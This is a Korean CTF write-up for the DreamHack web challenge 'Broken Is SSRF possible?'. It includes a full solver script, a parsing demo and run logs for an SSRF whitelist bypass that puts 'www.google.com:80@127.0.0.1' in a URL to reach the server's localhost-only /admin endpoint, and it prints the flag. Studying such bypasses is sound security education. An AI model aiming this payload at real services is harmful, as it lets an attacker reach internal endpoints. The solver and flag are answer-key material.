[🥈 Silver 3] 포트 표기 하나로 무너지는 호스트 화이트리스트 — DreamHack Broken Is SSRF possible? 풀이

@app.route('/check-url', methods=['POST'])   # 사용자가 준 URL 을 검사하고 요청해 준다
@app.route('/admin', methods=['GET'])        # remote_addr == 127.0.0.1 이어야 함. flag 를 덮어쓴다
@app.route("/flag", methods=['POST'])        # flag == sha256(nickname) 이면 DH{...}

@app.route('/admin',methods=['GET'])
def admin():
    global flag
    user_ip = request.remote_addr
    if user_ip != "127.0.0.1":
        return "only localhost."
    if request.args.get('nickname'):
        nickname = request.args.get('nickname')
        flag = sha256_hash(nickname)
        return "success."
 
@app.route("/flag",methods=['POST'])
def clear():
    global flag
    if flag == sha256_hash(request.args.get('nickname')):
        return "DH{REDACTED}"
    else:
        return "you can't bypass SSRF-FILTER zzlol 😛"

#!/usr/bin/env python3
# app.py 는 전역 flag 를 해시 한 줄로 들고 시작하고, main 에서 또 다른 해시를 찍는다.
# 둘이 같으면 /flag 에 그 원문만 넣으면 끝나므로 먼저 대조해 본다.
import hashlib
 
INITIAL = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"
HINT = "당신의 창의적인 공격 아이디어를 보여주세요!"
 
print("app.py 10행 flag  :", INITIAL)
print("main 이 찍는 해시 :", hashlib.sha256(HINT.encode()).hexdigest())
print("일치 여부          :", hashlib.sha256(HINT.encode()).hexdigest() == INITIAL)

python3 hash_check.py

app.py 10행 flag  : d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a
main 이 찍는 해시 : 0283153f9e56fcce0e5b8c3b10a27918c2780e99f04c54db77a40e9d193d6a50
일치 여부          : False

cat -n extracted/app.py | sed -n "19,46p"

    # if "@" in url or "#" in url:
    #     isSafe = False
    #     return "Fail"

authority = [ userinfo "@" ] host [ ":" port ]

#!/usr/bin/env python3
# check_ssrf() 의 내부망 검사는 socket.gethostbyname() + ipaddress.is_private 두 줄이 전부다.
# 페이로드의 호스트가 www.google.com 으로 읽히는 한, 이 검사는 60번을 돌려도 통과한다.
import ipaddress
import socket
 
for host in ("www.google.com", "127.0.0.1", "localhost", "169.254.169.254"):
    try:
        ip = socket.gethostbyname(host)
    except OSError as e:
        print("%-18s -> 해석 실패 (%s)" % (host, e))
        continue
    priv = ipaddress.ip_address(ip).is_private
    print("%-18s -> %-15s is_private = %-5s  %s"
          % (host, ip, priv, "차단" if priv else "통과"))

python3 dns_check.py

#!/usr/bin/env python3
# 같은 문자열을 (1) app.py 의 필터와 (2) requests 가 서로 다르게 읽는다는 것을 직접 보여준다.
# (1) 은 app.py 94~102행 / 36~45행을 그대로 옮긴 것이고,
# (2) 는 requests 가 접속 대상을 정할 때 실제로 쓰는 urllib3 파서다.
import re
 
import urllib3.util
from requests import Request
 
URLS = [
    "http://127.0.0.1/admin?nickname=x",
    "http://www.google.com@127.0.0.1/admin?nickname=x",
    "http://www.google.com:80@127.0.0.1/admin?nickname=x",
]
 
 
def filter_host(url):
    """app.py 가 화이트리스트 비교에 쓰는 호스트 추출 로직 (원본 그대로)"""
    host = re.search(r'(?<=//)[^/]+', url)
    if host is None:
        return None
    host = host.group()
    if ":" in host:
        host = host.split(":")
        host = host[0]
    return host
 
 
for url in URLS:
    seen = filter_host(url)
    real = urllib3.util.parse_url(url)
    prep = Request("GET", url).prepare()
    print("URL           :", url)
    print("  app.py 필터가 보는 호스트 :", seen, "  ->",
          "통과" if seen == "www.google.com" else "거절")
    print("  urllib3 가 실제로 붙는 곳 :", real.host, "port", real.port or 80,
          "| auth =", real.auth)
    print("  requests Authorization   :", prep.headers.get("Authorization"))
    print()

python3 parse_demo.py

curl -sv --max-time 8 "http://www.google.com:80@127.0.0.1:18412/admin?nickname=curl-demo"

fetch('/check-url', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: u })
}).then(r => Promise.all([r.status, r.text()]))
  .then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });

docker logs broken-ssrf-1412 2>&1 | grep -E "^(127|172)\."

#!/usr/bin/env python3
# Broken Is SSRF possible? (DreamHack, Silver 3, web) - solver
#
# 흐름
#   1) /check-url 은 url 의 호스트가 www.google.com 인지만 본다.
#      호스트 추출이 정규식 (?<=//)[^/]+ 이고, ':' 가 있으면 split(':')[0] 을 쓴다.
#      그래서 "http://www.google.com:80@127.0.0.1/..." 은
#        - 호스트 문자열  = "www.google.com:80@127.0.0.1"
#        - split(':')[0] = "www.google.com"   -> 화이트리스트 통과
#        - gethostbyname("www.google.com") -> 공인 IP  -> 내부망 검사 통과
#      반면 requests 는 "www.google.com:80" 을 userinfo 로 보고 실제로는
#      127.0.0.1 에 붙는다. (app.py 22~24행의 '@' 차단이 주석 처리돼 있다)
#   2) 그렇게 서버가 자기 자신의 /admin?nickname=<NICK> 을 호출하면
#      remote_addr 가 127.0.0.1 이라 전역 flag 가 sha256(<NICK>) 으로 덮인다.
#   3) POST /flag?nickname=<NICK> -> flag == sha256(nickname) 이 성립해 DH{...} 가 나온다.
#
# 사용법: python3 solve.py http://host1.dreamhack.games:PORT [nickname]
 
import hashlib
import sys
import time
 
import requests
 
BASE = sys.argv[1].rstrip("/")
NICK = sys.argv[2] if len(sys.argv) > 2 else "zino-%d" % int(time.time())
 
# ':' 가 있어야 split(':')[0] 로 www.google.com 이 떨어진다. 포트는 아무 값이나 된다.
PAYLOAD = "http://www.google.com:80@127.0.0.1/admin?nickname=" + NICK
 
print("[*] target   :", BASE)
print("[*] nickname :", NICK)
print("[*] sha256   :", hashlib.sha256(NICK.encode()).hexdigest())
print("[*] payload  :", PAYLOAD)
 
# check_ssrf 가 1초 sleep 을 60번 돌며 DNS 를 재확인한다 -> 응답까지 60초 이상 걸린다.
print("[*] POST /check-url  (서버가 60초간 IP 재검증 루프를 돈다)")
t0 = time.time()
r = requests.post(
    BASE + "/check-url",
    json={"url": PAYLOAD},
    timeout=180,
)
print("[+] %.1fs  %d  %s" % (time.time() - t0, r.status_code, r.text.strip()))
 
if "status_code" not in r.text:
    print("[-] 필터를 통과하지 못했다. 중단.")
    sys.exit(1)
 
print("[*] POST /flag")
r = requests.post(BASE + "/flag", params={"nickname": NICK}, timeout=30)
print("[+] %d  %s" % (r.status_code, r.text.strip()))

python3 solve.py http://127.0.0.1:18412 zino-local-check

python3 solve.py http://host3.dreamhack.games:12690 zino-ssrf-1412

fetch('/flag?nickname=zino-browser', { method: 'POST' })
  .then(r => Promise.all([r.status, r.text()]))
  .then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });

DH{please_share_your_idea_okay_good}

./reproduce.sh

[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile)
[*] 익스 실행 — /check-url 이 60초 IP 재검증 루프를 돌아 1분 넘게 걸린다
[*] target   : http://127.0.0.1:18413
[*] nickname : repro-1792524612
[*] sha256   : 9585762e355b86a4194a1cf130ca019f5f1582ea00300db21150a187dd2fdcd2
[*] payload  : http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612
[*] POST /check-url  (서버가 60초간 IP 재검증 루프를 돈다)
[+] 60.4s  200  {"status_code":200,"url":"http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612"}
[*] POST /flag
[+] 200  DH{REDACTED}
 
✅ PASS  DH{REDACTED}  (배포본은 flag 를 가린 채로 배포된다 — 우회 체인은 성립)